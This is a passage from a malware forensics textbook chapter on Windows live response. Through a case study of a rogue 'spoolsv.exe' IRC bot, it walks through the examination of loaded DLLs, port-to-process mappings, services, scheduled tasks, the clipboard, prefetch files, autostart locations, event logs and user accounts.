A great utility for viewing the DLLs loaded by a running process is listdlls,35 which not only identifies the modules invoked by a process, but reveals the full path to the respective modules. Another useful function of listdlls is that it reveals loaded DLLs that have version numbers contrary to the corresponding modules on the system hard drive, which can be a result of a program updating subsequent to the loading of the DLL.36

Identifying the DLLs loaded by a process at runtime is very valuable in the scope of malware incident response, as many malicious code specimens, particularly rootkits, use a technique called “DLL injection,” wherein malware “injects” code into the address space of a running process by forcing it to load a dynamic link library. An example of malware that implements this technique is the Vanquish Rootkit,37 a DLL-injection-based rootkit that hides files, folders, registry entries, and logs passwords.

Examining the DLLs loaded by our suspicious process, “spoolsv,” by querying our subject system with listdlls, we identify additional indicia that the process most likely has network connectivity, as it loaded among other modules “wsock32.dll,” “mswsock.dll,” “hnetcfg.dll,” and “wshtcpip.dll,” as shown in Figure 1.37.
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Figure 1.37


Other Tools to Consider

Loaded DLLsIn addition to listdlls, we can also examine imported DLLs with a number of other utilities, including procinterrogate, PRCView, tlist, tasklist.



ProcinterrogateLike listdlls, Procinterrogate allows the investigator to identify all DLLs imported by running processes, but also gives the investigator the ability to query individual processes by PID using the –pid switch. Further, the procinterrogate output provides the entry point address of each loaded module. http://sourceforge.net/project/shownotes.php?release_id=122552&group_id=15870.



PRCViewPRCView using the pv -m <process name> switch provides very similar output to procinterrogate, and reveals the Module, Base, Size and Path of the DLLs associated with the queried process.






Exported DLLs

To discover the DLLs exported by an executable program that launched a process—that is, identifying the functions or variables made usable by other executable programs—consider querying a subject system with Nirsoft’s DLLExportViewer.38 DLLExport view provides the investigator with the exported function name, address, relative address, file name, and full path of the module, as shown in Figure 1.38.
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Figure 1.38 Examining Exported Modules with ExportedDLLs




Capturing the Memory Contents of a Process on a Live Windows System

During the course of examining running process on a subject system, you may identify potentially rogue processes, as we did in our case scenario in this chapter. In addition to locating and documenting the potentially hostile executable programs, you’ll also want to capture the individual process memory contents of the specific processes for later analysis, as described in Chapter 3, “Memory Forensics: Analyzing Physical and Process Memory Dumps for Malware Artifacts.”

Although it may seem redundant to collect information that is already preserved in a full memory capture, having the process memory of a piece of malware in a separate file will facilitate analysis, particularly if memory forensics tools have difficulty parsing the full memory capture (see Chapter 3). Furthermore, using multiple tools to extract and examine the same information can give added assurance that the results are accurate, or can reveal discrepancies that highlight weaknesses in a particular tool.








Correlate Open Ports with Running Processes and Programs

Thus far, we’ve obtained the subject system’s details, examined the system for logged on users, viewed active network connections, and explored running processes. During the course of responding to Kim’s system, we identified a suspicious program, “spoolsv.exe” (PID 864). Some of the characteristics that give us reason to believe that it is a rogue program include:


[image: ent] The bad “spoolsv” process is using the same name as a legitimate process

[image: ent] The executable program resides in an anomalous path on the system, (C:\WINDOWS\temp\spoolsv\spoolsv.exe);

[image: ent] The process is identified as mIRC, an IRC chat client program

[image: ent] The process seemingly caused the invocation of an image file “xmas.jpg” from the same “\spoolsv” directory, which seems related to the “greeting card” she opened;

[image: ent] The system has an active network connection to a foreign system over port 6667, which is a common port for IRC



In addition to identifying the open ports and running processes on our subject system, we’ll want to determine the executable program that initiated the established connection or listening port, and where that program resides on the system. We examine open ports separate from active network connections, because much of our analysis is intertwined with the discoveries we made during our inspection of running processes on the subject system. This is because ports that are often opened on the subject system as a result of a process executing, and in turn, causing a port to open. In particular, when examining active ports on a subject system, you’ll want to gather the following information, if available:


[image: ent] Local IP address and port

[image: ent] Remote IP address and port

[image: ent] Remote host name

[image: ent] Protocol

[image: ent] State of connection

[image: ent] Process name and PID

[image: ent] Executable program associated with process

[image: ent] Executable program path

[image: ent] User name associated with process/program



We’ll begin our correlation of open ports with processes running on the subject system by revisiting the output of netstat –ano in Figure 1.21. The first item of interest is the established connection to the remote address over port 6667. The –ano switch provides for the process PID responsible for the connection, and we see that it is 864, the same PID we learned was associated with our suspicious process, “spoolsv.”


Analysis Tip

Port ScanningIn addition to inspecting a subject system locally for open ports, if practical, consider port scanning the system remotely to verify your findings. We scanned our subject system with nmap and determined that the discovered ports comported with those previously discovered through our local live response analysis.

root@MalwareLab:/home/lab# nmap -v -A 192.168.110.134

Starting Nmap 4.20 ( http://insecure.org ) at 2008-03-18 15:58 PDT

<excerpt>

Initiating SYN Stealth Scan at 23:30

Scanning 192.168.110.134 [1697 ports]

Completed SYN Stealth Scan at 23:30, 1.32s elapsed (1697 total ports)

Host 192.168.110.134 appears to be up. good.

Interesting ports on 192.168.110.134:

Not shown: 1693 closed ports

PORT STATE SERVICE

113/tcp open auth

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds





An additional way to query a Windows XP (SP2) system and correlate open ports with associated processes is the netstat –anb command, which displays the executable program and related components sequentially involved in creating each connection or listening port, as shown in Figure 1.39.
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Figure 1.39 netstat -anb


Openports

Examining other active ports in the netstatoutput, we see that the first listening connection on local port 113 is also associated with the malicious “spoolsv” process. To get further details about the connections, we will use a flexible tool from DiamondCS called openports that provides for multiple output options, allowing the investigator to gain multiple perspectives of the port to process mappingvi. In particular, openports provides for switches to make the tool output similar to netstat, as well as additional flags such as -lines and -path, which give the output a clear structured perspective of the active ports associated process and executable programs along with the system path where the respective programs reside, as seen in Figure 1.40.

[image: image]
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Figure 1.40 Output of the openports -lines -path Command

As we see in Figure 1.40, openports reveals the full system path to the executable program responsible for opening the active ports. In the instance of PID 864, the full system path leads us back to the suspicious program residing in C:\WINDOWS\temp\spoolsv\spoolsv.exe.

In the process of collecting information correlating open ports to associated process and executable programs, we often use a number of different tools to get a full perspective of the connections. The fport
39 tool developed by Foundstone can also be used to map open ports to associated processes to the respective executable programs on the system. Through examining the ports on our subject system with openports and fport, we are able to narrow down the open ports to our suspicious process, “spoolsv” (PID 864). In particular, we’ve confirmed that the process has opened TCP port 1040 on Kim’s system and established a remote connection with a system on TCP port 6667. Our previous analysis of the process suggested that it was a rogue IRC program. Similarly, we’ve learned from our port analysis that “spoolsv” has also opened listening TCP port 113 on our local system. What is this? Port 113 is associated with the Identification Protocol, or Ident (formerly called Authentication Server Protocol, our “Auth”), which is commonly associated with IRC activity, as many IRC servers request “ident” from incoming client connections on port 113.


Online Resources

Common PortsInternet Assigned Numbers Authority (IANA) http://www.iana.org/assignments/portnumbers.








CurrPorts

After obtaining an overview of the port to process mapping with fport and openports, we can get a more detailed look at the individual suspicious ports using CurrPorts,40 a GUI- and CLI-based tool from Nirsoft that provides the investigator with a detailed snapshot of the process name, PID, local and remote port numbers and IP addresses, port state, protocol, executable program path, and other detailed identifying information. As displayed in Figure 1.41, when we examine the suspect connection to the remote system over port 6667, we see that the process “spoolsv” is running under the Kim account and is identified as “mIRC” from the company “mIRC Co. Ltd.” Another interesting detail provided by CurrPorts is the process attributes—ARHS, reaffirming that the attributes associated with “spoolsv” are Archive, Read-only, Hidden, System File.
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Figure 1.41 CurrPorts


Other Tools to Consider

PortsThe tcpvcon utility, a command line version of the popular GUI port viewing tool TCPview, provides similar information and output to CurrPorts. For more information about TCPview, go to http://technet.microsoft.com/en-us/sysinternals/bb897437.aspx.





After inspecting the port to process mapping on our subject system, we’ll take a look at the running services.






Identifying Services and Drivers

Microsoft Windows services are long-running executable applications that run in their own Windows sessions, and do not require user initiation or interactionvii. These services can be configured to automatically start when a computer is booted up, can be paused and restarted, and do not show any user interface. Services are ideal for use on a server or whenever a system needs to provide long-running functionality that does not interfere with other users who are working on the same computer. Services can also be configured in the security context of a specific user account.

Although transparent to the end user, services are running in the background of systems. Many of these systems are configured to run automatically each time the system is booted up. Malware can manifest on a victim system as a service, silently running in the background, unbeknownst to the user.

Often, malicious code that installs as a service many times does not typically have identifying descriptors, status, or startup type demarcated. In our case scenario, we’ve learned that our suspicious program is “chameleoning” as the Microsoft Print Spooler, a legitimate Microsoft service, but has it actually manifested as a service? To make this determination, we can query our subject system with a number of utilities to gather further information about running services. As with our examination of running processes and ports, we’ll explore running services by first gaining an overview, and then apply tools to extract information about the services with more particularity. While investigating running services, you’ll want to gather the following information:


[image: ent] Service Name

[image: ent] Display Name

[image: ent] Status

[image: ent] Startup Configuration

[image: ent] Service Description

[image: ent] Dependencies

[image: ent] Executable Program Associated with Service

[image: ent] Process ID

[image: ent] Executable Program Path

[image: ent] User Name Associated with Service



We can gain a good overview of the running services on our subject system by using a trusted version of tasklist with the /svc switch, which displays services in each process. The output from this command provides a concise listing of the executable program name, PID, and description of the service, if applicable. We can see from the tool output that two “spoolsv” programs are discovered—the legitimate version, PID 1600, is associated with the “Spooler” service, whereas our suspicious “spoolsv” has no associated service.
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Figure 1.42 Displaying Services with tasklist

Had we learned that our suspect program manifested as a service, we could collect additional details about running services using a variety of tools. One of the most frequently used by live responders is psservice,41 which provides a very granular view of the services on a subject system. Another tool to consider implementing is the GUI and CLI tool Serviwin,42 which when used with the /stext > <log file name> switch, provides a detailed description of each individual service. Similarly, servicelist from Path Solutions provides the investigator with a very structured output that includes the service name, display name, state, type, and controls.43 For additional tool options for identifying and analyzing services during live response, refer to the textbox below

Other Tools to Consider

Service Analysis
[image: ent] Net Native Windows utility that can be used with the “Start” switch, provides a list of running services by display name.

[image: ent] Tlist Included with Microsoft Debugging Tools for Windows, tlist –s identifies any services active in each running process.

[image: ent] Srvinfo (Server Information) CLI tool available with the Windows NT Resource Kit Supplement 4 and the Windows 2000 Server Resource Kit that displays service states and display names.

[image: ent] Sclist (Service Controller List Tool) CLI tool available with the Windows NT Resource Kit Supplement 4 and the Windows 2000 Server Resource Kit that by dislays three columns, including service state, service name and service display name.

[image: ent] SvcUtil CLI service analysis tool, http://www.joeware.net/freetools/tools/svcutil/index.htm.








Online Resources

Common Services and FunctionsMicrosoft Developer Network Reference Page on Services

http://msdn2.microsoft.com/en-us/library/ms681921(VS.85).aspx

To review function calls that are used or implemented by services: http://msdn2.microsoft.com/en-us/library/ms685942(VS.85).aspx

The website http://www.theeldergeek.com/services_guide.htm#Services has an extensive listing of Windows services with associated function descriptions.





In addition to determining the running services on a subject system, the investigator should consider examining the installed drivers on the system, including the nature and status of the drivers.

In 2006, a printer driver distributed by Hewlett Packard was found to be infected with the Funlove virus. Another piece of malicious code that emerged in August 2007 named Trojan.Peacomm.C, infects a Windows device driver named “kbdclass.sys” to force the system to load the virus each time the system is rebooted.44 Unfortunately, this Trojan also employs rootkit techniques to hide its presence on the infected system, and therefore will not be visible via the operating system. In such cases, memory forensics can be employed to extract more information about the malicious code.

To explore installed system drivers, we can query the subject system with a trusted version of drivers. (available from the Windows 2000 Resource Kit Tools),45 as well as other utilities such as DriverView46 and ListLoadedDrivers.47 The output provided by drivers is very verbose and granular, and a thorough examination of any suspicious files acquired from the subject system will need to be conducted to compare against the collected data to determine if there any artifacts of value. An excerpt is shown in Figure 1.43. In the instance of Kim’s laptop, there were no unusual drivers discovered on the system.

[image: image]

Figure 1.43 Displaying Installed Drivers with drivers

After exploring the services and drivers on the subject system, we will next turn our attention to open files.


Determining Open Files

The investigator will want to determine which files are open on the subject system. Open files may identify the nature of the malicious code that has infected a system, such as revealing the services or resources that the specimen requires to effectively launch or operate. Similarly, open files may reveal further correlating or identifying information about suspicious processes identified during the course of live response.

In addition to revealing clues about the nature and purpose of hostile program, if the embedded malware has provided the attacker access into the compromised system, the attacker, during the course of intrusion, may have opened certain files. Identifying the open files in this regard provides insight as to the purpose of the attack, such as probing of financial databases, sensitive corporate information, or other unique resources on the system.

Consider your analysis of any discovered open files through the lens of whether the information contained or related to the file would be of interest to an inside attacker, an outside attacker, or both. For instance, if the open files relate to resource or matter that is intrinsically valuable only to an insider, the deployed malicious code may have been used to affect an exfiltration of information outside of the network. Conversely, if temporal context and other forensic artifacts from the subject system reveal prior extensive methods of external network reconnaissance on a broad scope of system resources, and files relate to generally valuable information, then the attacker may be an outsider. Taking the analysis one step further, as many variants of malware have automated features such as scanning, “auto-rooting,” or exploitation mechanisms, and propagation mechanisms, do not discount the possibility that discovered open files are simply the collateral effect of an automated process of the infecting agent that has compromised the system.

During the course of conducting live response on our subject system, we learned that a suspicious program, “spoolv.exe,” was launched and may be part of a compromise of Kim’s system. We’ll want to gather further details about what files were open on Kim’s system, to gain further insight into the compromise and identify potential artifacts on the system.

We can determine the open files on a subject system, both locally and remotely, using a variety of utilities, and we’ll bifurcate the process of examining both. While inspecting open files, attempt to identify the following:


Identifying Files Opened Locally

To examine files opened locally, we’ll query our subject system with OpenFilesView48 developed by NirSoft. OpenedFilesView displays a list of all opened files on a subject system as well as valuable additional information about the accessed files, such as the process that opened the file, the associated handle value, read/write/delete access times, and file location on the system. An alternative to OpenedFilesView is openfiles, available from DiamondCS, which when used with the /Query argument, displays files opened locally or from shared folders.

Examining our subject system, we find that our suspicious program spoolsv has opened certain files, as shown in an excerpt in Figure 1.44. We learned during the analysis of running processes that “rundll32.exe” invoked the Windows Picture and Fax Viewer. From the output of OpenFilesView, we get further confirmation of interplay between our suspect program and “rundll32.exe”.

[image: image]

Figure 1.44 OpenFilesView




Identifying Files Opened Remotely

A remote connection from an anomalous system or share accessing files on the subject system is potentially indicia of a compromise, so we’ll also want to identify files that are being accessed remotely. In addition to using the native net file command, one of the more commonly used tools by incident responders to display is psfile,49 by Mark Russinovich. In examining our subject system with psfile, we do not discover any remotely accessed files, so we’ll now turn our attention toward collecting any command-line history contents.


From the Dark Side

Recently Opened FilesIn the context of a malicious insider, in addition to determining currently open files, always consider identify which files on the system that were recently accessed. In particular, we can identify files cached in the “Recent” folder (15 most recent files by default), which include files recently opened from Windows Explorer or from a standard open/save dialog-box by using RecentFilesView, http://www.nirsoft.net/utils/recent_files_view.html, a command line and GUI tool developed by NirSoft. Although the files in the recent folder are documents and images and not executable programs, determining the recently open files on a subject system, particularly if it was accessed by a malicious insider, may reveal clues as to motivation or purpose of the attack causing the incident you responded to, or perhaps more importantly, may reveal additional or future hostile events on network systems.










Collecting the Command History

Unix and Linux operating systems using the bash command shell maintain a bash history, or a log of all of the commands typed into the command shell. Presuming that the log is not tampered with and modified, it essentially serves as a key stroke logger, allowing the investigator to review what commands were issued in the command shell while an intruder accessed the system.

Unfortunately, the command prompt on Windows operating systems does not natively maintain a functionally equivalent log. However, the keystrokes typed into a command prompt that remains open can be retrieved during live response. The investigator can display all the commands that are stored in memory by issuing the doskey/history
50 command from his toolkit’s trusted command prompt. The doskey/history command can be configured to hold a maximum of approximately 61,900 bytes of data.

The information gathered from a command prompt history can prove to be particularly valuable in providing contextual evidentiary information, including the names of files and folders accessed, commands issued, programs launched, unique string names, network identifiers such as domain names, IP addresses, shares, and resources. Although this scenario is far less likely to occur in the context of an intruder outside the network accessing a system through malicious code, it is a plausible evidentiary item and an insider threat scenario, such as a disgruntled employee embedding logic bombs, rootkits, or backdoors. Digital investigators are more likely to recover information about malicious commands executed on the compromised system by capturing the memory contents of active “cmd.exe” processes that were executed by the intruder, and examining them as discussed in Chapter 3.

In examining our subject system, a command prompt was not open and there were no collectable evidentiary items from the command history. Next, we’ll determine if there are any suspicious finds relating to network shares.




Identifying Shares

Although malicious code does not always have functionality to propagate through network shares, some specimens, such as the polymorphic file infector named W32/Bacalid,51 identify and affect shares on an infected system. To query our subject system to identify available shares, we’ll use the native Windows utility, net, as seen in Figure 1.45. Although there is nothing out of the ordinary about the available shares in the Kim scenario, a weak administrator password could give remote access to these resources.
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Figure 1.45 Identifying Shares






Determining Scheduled Tasks

Some malicious code variants are “event-driven,” meaning that until a certain date or event triggers execution, the malware will remain dormant. Typically, this is referred to as a logic bomb feature. Typically, most logic bomb malware specimens are planted and secreted by a malicious insider, particularly those users that have administrative access to systems. For example, in early 2008, a system administrator was sentenced to 30 months in prison for embedding malicious code designed to wipe out critical data stored on more than 70 servers.52

However, there have been instances of external malicious code threats that have had logic bomb features. An example of such a specimen is WORM_SOHANAD.FM, which once downloaded by an unsuspecting user from a malicious Web site, installs three additional malicious code files and uses the Windows Task Scheduler to create a scheduled task to execute the files at a later time.53 Thus, we’ll want to examine our subject system for scheduled tasks to ensure that a malicious program is not hidden away waiting to execute.

We can discover scheduled tasks on a subject machine by using a few different utilities. The first we can use is a trusted version of the native Windows utility, at. To query our system with at, we need only run the utility with no switches. We learn that “There are no scheduled tasks present in the system.”

We can confirm our findings by querying with schtasks,54 which is also native to Windows XP, 2003, and Vista systems. To simply display all scheduled tasks, we can invoke schtasks with the /Query switch.

[image: image]

Figure 1.46 ScheduledTasks with schtasks

Our findings with schtasks confirms that there are no tasks on our subject system, but for the purpose of showing what a scheduled task looks like and how to gather additional information about the task, we set a malicious program to execute on one of our test systems. In this scenario, a Yahoo! Messenger Worm (Worm/Hakaglan.B-Worm, also known as Win32.Worm.Sohanat.AB, among other names) has embedded itself as a scheduled task that runs at predefined times.55 We can discover the task by using schtasks.
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Figure 1.47

Now that we’ve identified a strange scheduled task, we can obtain “advanced properties” about the task by adding the /FO LIST (this switch formats the display for a “list” output) and /V (“verbose”) switches.
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Figure 1.48 Examining a Scheduled Task




Collecting Clipboard Contents

When a Microsoft Window NT/XP/20003/Vista system user copies something into his or her clipboard for pasting into another application, the copied data is saved into multiple clipboard formats. To get a better idea of these formats, there is a complete listing provided on Microsoft’s Web site.56

In the instance of a potentially compromised system wherein the infection vector is unknown, the clipboard contents can potentially provide substantial clues into the nature of an attack, particularly if the attacker is an insider “threat” and has copied bits of text to paste into tools or attack strings. Domain names, IP addresses, e-mail addresses, usernames, passwords, hostnames, Instant messenger chat or e-mail content excerpts, attack commands, and other valuable artifacts identifying the means or purpose of the attack may be gleaned from clipboard contents. We can explore the contents of our subject system’s clipboard with pclip,57 which collects and displays the contents of clipboard, as seen in Figure 1.49.

[image: image]

Figure 1.49 Exploring the Clipboard Contents with pclip.exe

We learn from the pclip output that a user of the system cut and paste certain text snippets, such as an File Transfer Protocol (FTP) server address, user names, and an e-mail address. At this point in our investigation, it is unclear if this is related to the previous indicia of compromised text we have discovered. Therefore, this information can be compared to other findings during the live response analysis and post-mortem forensic analysis and provide additional context to our investigation.

Another tool that can be used to harvest clipboard contents is NirSoft’s InsideClipboard,58 which is a GUI and CLI utility that displays the binary content of all formats that are currently stored in the clipboard, and allows you to save the content of specific format into a binary file. InsideClipboard can be invoked from the command prompt, and the results of the query can be saved in multiple report formats including standard text, Hypertext Markup Language (HTML), and eXtensible Markup Language (XML), among others.


From the Dark Side

Malware and the Insider ThreatMalicious code incidents are not relegated to remote attacks by strangers from the far recesses of the Internet. Unfortunately, all too often, malicious insiders—such as current or former employees and contractors—leverage attacks against their employers’ systems. Although the types of malicious code used by an insider may differ from that commonly seen in the “wild” on the Internet (for instance an insider may implement keylogging, logic bomb and backdoor software, whereas bots, worms and other Internet scourge is typically seen propagating madly on the Internet) the threat is just as serious and the damage caused to the systems by an insider can be even greater due to knowledge of the network. Recently a joint study was conducted by the U.S. Secret Service (USSS) National Threat Assessment Center and the Carnegie Melon Computer Emergency Response Team (CERT), the finding of which can be found here, http://www.cert.org/insider_threat/; http://www.cert.org/archive/pdf/insidercross051105.pdf.





After gathering volatile data from the subject system, we’ve gained significant insight into the state of Kim’s system, and unearthed some potential clues into whether a malicious code incident has occurred. Next, we’ll examine the methodology, tools, and techniques used to extract non-volatile data from a subject system to correlate with our volatile data and gain additional context.




Non-Volatile Data Collection from a Live Windows System

Traditionally, forensic examiners do not access files on the hard drive of a live system, because of the potential of altering stored data. However, there are situations that require selective forensic preservation and examination of data in files and the registry on live systems. In some cases, the large quantity of non-volatile data on a computers system makes it infeasible to preserve everything. Digital investigators may decide that it is an ineffective use of resources to create a forensic duplicate of a server that contains terabytes of documents and other data, which are unrelated to the malware incident. Instead, they may decide to just acquire the information that is generally most relevant and useful in computer intrusion and malware-related incidents.

In cases involving a large number of computers, digital investigators may decide that it is an ineffective use of resources to create a forensic duplicate of every computer. Instead, they may decide to create forensic duplicates of the most critical systems, and just acquire sufficient information form the other computers to show that they are compromised, and ultimately prove their case in court.

In one case, the compromised systems that caused the greatest disruption to the organization were fully preserved and analyzed. The other 40 computers systems were processed live, with digital investigators preserving specific files and configuration information to support their case.


Analysis Tip

Handle with CareCareful consideration must be given to the decision of whether to collect non-volatile data from a live system. Operating the live system will inevitably make changes, such as updating last accessed dates of files. Digital investigators must make a judgment call as to whether such changes will hinder the investigation, or whether they are an acceptable loss of information for the benefit of acquiring usable digital evidence. In certain cases, the only option may be to collect non-volatile data from a live system. The system owner may not accept actions that would disrupt the system (i.e. transaction server processing thousands of credit card transactions a minute). In such cases, it can be prudent to ask for written confirmation of authorization to perform actions that could result in a reboot, temporary loss of service, or other perceived disruption. Once the decision is made to perform preservation processes on a live system, digital investigators must take great care to make the minimum changes possible and to document their actions thoroughly. Strong documentation will help digital investigators distinguish between changes related to the malware incident versus changes made during the response. Strong documentation will also help digital investigators explain their actions if necessary in court.








Forensic Duplication of Storage Media on a Live Windows System

When dealing with high availability servers and other systems that cannot be shut down, it is still possible to create a forensic duplicate of the entire system while the computer is still running. The same approaches to preserving memory on a live system can be used to acquire a forensic duplicate of any storage media connected to the system. For instance, the following command takes the contents of an internal hard drive and saves it to a file on removable media along with the MD5 hash for integrity validation purposes and audit log that documents the collection process.

[image: image]

Figure 1.50 Forensic Duplication of a Hard Drive Using dd

Saving a forensic duplicate of the hard drive in a live system onto another computer on the local area network is generally faster than saving to removable media, depending on the throughput. The forensic duplicate can be saved on a remote computer either via a SMB share on the remote system, or using the netcat command. Remote forensic tools such as EnCase Enterprise, OnlineDFS, LiveWire, and ProDiscoverIR also have the capability of acquiring a forensic duplicate of the hard drive from a remote system.




Forensic Preservation of Select Data on a Live Windows System

There are areas on a Windows computer that most commonly contain information about the installation and operation of malware. Methodical approaches to extracting evidence from these areas on a live Windows computer are presented below with illustrative case examples. The preservation techniques outlined in this section are not intended to be comprehensive or exhaustive, but rather to provide a solid foundation of evidence relating to malware on a live computer.

When more extensive forensic analysis is required, such as hash analysis and keyword searching, forensic examiners perform their work on a forensic image, as discussed in Chapter 4. Although the tools covered in this chapter are designed to run on live Windows systems, some can also be useful in post-mortem analysis.
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Assess Security Configuration

Determining whether a system was well secured can help forensic examiners assess the risk level of the host to misuse. The patch level and version information for a Windows system can be obtained using WinUpdatesList,59 and additional security configuration information is available through the Microsoft Baseline Security Analyzer.60

Logging level and access control lists can be extracted using auditpol and dumpsec.61 If security logging is not enabled, forensic examiners will not be surprised that there are no log entries in the Security Event Log. On the other hand, when a system is configured to record security events but the Security Event Log is empty, forensic examiners must ascertain whether the logs are stored elsewhere or were intentionally cleared. Examining Kim’s system for security configuration and logging revealed that the system required several patches and that security logging was configured to overwrite events older than one day.




Assess Trusted Host Relationships

Several files in “%windir%\system32\drivers\etc\” that contain information about trusted hosts and networks are important to preserve as follows.

[image: image]

Figure 1.51 Collecting Hosts, Networks and lmhosts from a Subject System

These files are used for localized name resolution, without relying on DNS. The “hosts” file contains associations between IP addresses and host names, and the “lmhosts” file contains associations between the IP address and NetBIOS names. The “networks” file contains associations between ranges of IP addresses and network names, which are generally assigned by network administrators. Because we learned that Kim’s system queried for the domain name louder. xxxxx.com, we will want to obtain and examine the contents of these files for potential modifications that relate to resolving this or any other anomalous domain names.

Some malware propagates by targeting computers that are referenced in these files, and some malware even alters the contents of these files to block access to major antivirus and Microsoft sites, thus preventing a compromised host from receiving security patches and antivirus updates, as illustrated in Figure 1.52.
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Figure 1.52 Host File Modified by Malware




Inspect Prefetch Files

To improve efficiency, when a program is executed, the Windows operating system creates a “prefetch” file that enables speedier subsequent access to the program. These files are located in “%systemroot%\Prefetch” and, among other information, contain the name of the program when it was executed. The creation date of a particular prefetch file generally shows when the associated program was first executed on the system, and the last modified date indicates when it was most recently executed.

To document the creation and last modified dates of files in the prefetch directory, we use a trusted cmd.exe command shell to invoke the following commands (see Figure 1.53):
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Figure 1.53 Listing prefetch Files from a Trusted Command Shell

Embedded within the Prefetch files are the most recent time a program was executed (bytes 120–128) and the number of times it was executed (bytes 144–148). This embedded information can be extracted manually, or using a tool like Windows File Analyzer.62
Figure 1.54 shows Windows File Analyzer being used to view the Prefetch information on a live system that is analyzed further in Chapter 4. Another approach to viewing this information is to mount the forensic duplicate using a tool like MountImage Pro and directing Windows File Analyze to read the Prefetch folder on the mounted drive, as discussed in Chapter 4. The rightmost column shows the number of times the executable was run, but this number is not incremented when an executable is automatically run from an autostart location when the system boots.
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Figure 1.54 Prefetch Files Viewed Using Windows File Analyzer




Inspect Auto-starting Locations

When a system is rebooted, there are a number of places that the Windows uses to automatically start programs. These auto-starting locations exist in particular folders, registry keys, system files, and other areas of the operating system. References to malware may be found in these auto-starting locations to increase its longevity on a computer. The number and variety of auto-start locations on the Windows operating system has led to the development of tools for automatically displaying programs that are configured to start automatically when the computer boots.

One of the most effective tools for viewing auto start locations is AutoRuns63 from Sysinternals, which has both a GUI and command-line version. Providing a preview of the primary scenario in Chapter 4, Figure 1.56 shows the AutoRuns GUI being used to display references to malware in one of the more common auto-starting locations in the Registry, the Run key. Specifically, this figure shows that a key logger program and “vgarefresh.exe” (a renamed version of netcat) are started automatically each time the system is booted.

[image: image]

Figure 1.55 SysInternals AutoRuns Tool for Detecting Autostart Locations, Running on a Forensic Duplicate of a Windows XP System Booted in a Virtualized Environment (WMWare) Prepared using LiveView

When run from the command line on Kim’s system, an entry associated with the malicious “spoolsv.exe” process is displayed (see Figure 1.56).

[image: image]

Figure 1.56 Autoruns Discovering Our Suspect Program

AutoRuns has a feature to ignore legitimate, signed Microsoft items, reducing the amount of noise. However, there will generally be a large number of legitimate third-party programs in auto-start locations, and digital investigators may have to inspect most or all of these executables to identify all malware on the system.

An alternative GUI and command-line utility available from Nirsoft for displaying applications that are loaded automatically when Windows boot, is StartupRun64 (strun) shown in Figure 1.57.
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Figure 1.57 Autorun Entry for Our Suspect Program Displayed with StartupRun




Collect Event Logs

Many activities related to a malware incident can generate entries in the Event Logs on a Windows system. For instance, failed logon attempts may be recorded in the Security Event Log, and antivirus warning messages may be recorded in the Application Event Log. These logs are stored in a proprietary Microsoft format, and it can be useful to extract them in American Standard Code for Information Interchange (ASCII) text form for examination using log analysis tools that do not support the native Event Log format. In addition, collecting these logs from the live system will extract the native message strings from that system.

The eldump utility is specifically designed to process Event Logs from Windows systems, and it can also be used to read saved Event Log files.65
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Figure 1.58 Collecting Event View Logs with eldump


Other Tools to Consider

Event Logs
[image: ent] dumpevt List user accounts and associated information on a specificed machine (http://www.joeware.net/freetools/tools/userdump/)

[image: ent] dumpel Displays information about Group Policies applied to a system (http://ntsecurity.nu)

[image: ent] psloglist Enables dumping of Event Logs using an account that may not normally have sufficient access to perform this task (http://technet.microsoft.com/en-us/sysinternals/bb897544.aspx)

[image: ent] Showmbrs List all members of a given workgroup (Windows Resource Kit)







To obtain a list of logon and logoff events with the associated users, use NTlast.66 This information may be particularly pertinent in an instance wherein a malicious insider is suspected. Conversely, this step may be less relevant if the malicious code incident is surmised to have been caused by an “outside” attacker. The examination of NT Event Logs is discussed in more detail in Chapter 4, along with the Microsoft LogParser tool. A review of logon events and other activities recorded in the Security Event Logs generally requires an understanding of the user accounts and groups on a system. Reviewing the logon and logoff events on Kim’s laptop, we do not discover any suspicious entries.


Review User Account and Group Policy Information

A close inspection of user accounts that are local to the compromised system or domain accounts that were used to log in, can reveal how malware was placed on the computer. In particular, digital investigators look for the unauthorized creation of new accounts, accounts with no passwords, or existing accounts added to Administrator groups. We also generally check for user accounts that are not supposed to be in local or domain level administrator groups. The net user command is used to list all accounts on the local system as shown in Figure 1.59. Examining the results of the query, we do not discover any newly created or unusual accounts on Kim’s system.
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Figure 1.59 Using the net user Command to Identify Accounts

In reviewing the output, we do not see any anomalous accounts on Kim’s system.


Other Tools to Consider

Group Policies
[image: ent] UserDump List user accounts and associated information on a specificed machine (http://www.joeware.net/freetools/tools/userdump/)

[image: ent] GPList Displays information about Group Policies applied to a system (http://ntsecurity.nu)

[image: ent] GPResult Displays information about Group Policies applied to the system (Windows Resource Kit)

[image: ent] Showmbrs List all members of a given workgroup (Windows Resource Kit)










Examine the File System

A rapid review of certain types of files can quickly lead to information related to a malware incident and provide additional context to volatile data that is collected. Specifically, hidden files, alternate data streams, and files in the Recycle Bin. The HFind and SFind67 utilities in the Forensic Toolkit from Foundstone can be used to locate alternate data streams and files that are hidden from the general user by the operating system and can be listed using HFind. Other tools for locating alternate data streams include, LADS, lns, and streams.68

A list of files that have been placed in the Recycle Bin can be obtained by reading the INFO file using a tool like Foundstone’s rifutti.69 However, it is advisable to also “dumpster dive” by actually looking at the contents of the Recycle Bin folder for unusual files and folders that were placed there by malware. Examining Kim’s laptop we learn that spoolsv.exe manifested as a hidden file, but no relevant files were discovered in the Recycle Bin or in alternate data streams.

When the timeframe of the malware incident is known, metadata for all files created, modified, or accessed during that period can be obtained using the macmatch.exe
70 utility. For instance, the following command lists all files created between March 26 and 28.
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Figure 1.60 Using macmatch.exe

The Microsoft LogParser program71 can also be used to extract this information, and this tool is described in more detail in Chapter 4.




Dumping and Parsing Registry Contents

Although there are tools for examining the Registry files in their native format, extracting the contents in ASCII text form can facilitate examination and searching. There are several tools for extracting information from the Registry on a live system such as the native Windows utilities reg.exe, regdump.exe, as well as Systemtools.com dumpreg72 utility.

